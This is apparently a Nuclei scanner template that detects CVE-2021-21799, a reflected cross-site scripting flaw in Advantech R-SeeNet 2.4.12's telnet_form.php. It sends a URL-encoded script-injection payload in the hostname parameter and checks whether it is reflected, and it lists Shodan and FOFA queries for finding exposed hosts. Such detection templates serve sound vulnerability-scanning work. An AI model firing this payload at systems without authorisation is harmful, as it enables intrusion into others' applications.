56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2021-21799
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info:
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name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
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author: arafatansari
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severity: medium
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description: |
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Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the telnet_form.php script functionality.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Apply the latest security patches or updates provided by Advantech to mitigate the XSS vulnerability in R-SeeNet 2.4.12.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21799
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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- https://github.com/Live-Hack-CVE/CVE-2021-21799
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-21799
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cwe-id: CWE-79
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epss-score: 0.80194
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epss-percentile: 0.98308
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cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: advantech
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product: r-seenet
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shodan-query: http.html:"R-SeeNet"
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fofa-query: body="r-seenet"
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tags: cve2021,cve,xss,r-seenet,advantech
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http:
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- method: GET
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path:
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- "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<title>Telnet </title><script>alert(document.domain)</script><title></title>"
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100cf3f445ac2523e140ae589eedb4c723a9d60a1d3734ddf47f76c27ceebc054d4022100907ae703851cd94586106cb70d472adad6e98a3ec9113a16e806545245aaf46b:922c64590222798bb761d5b6d8e72950 |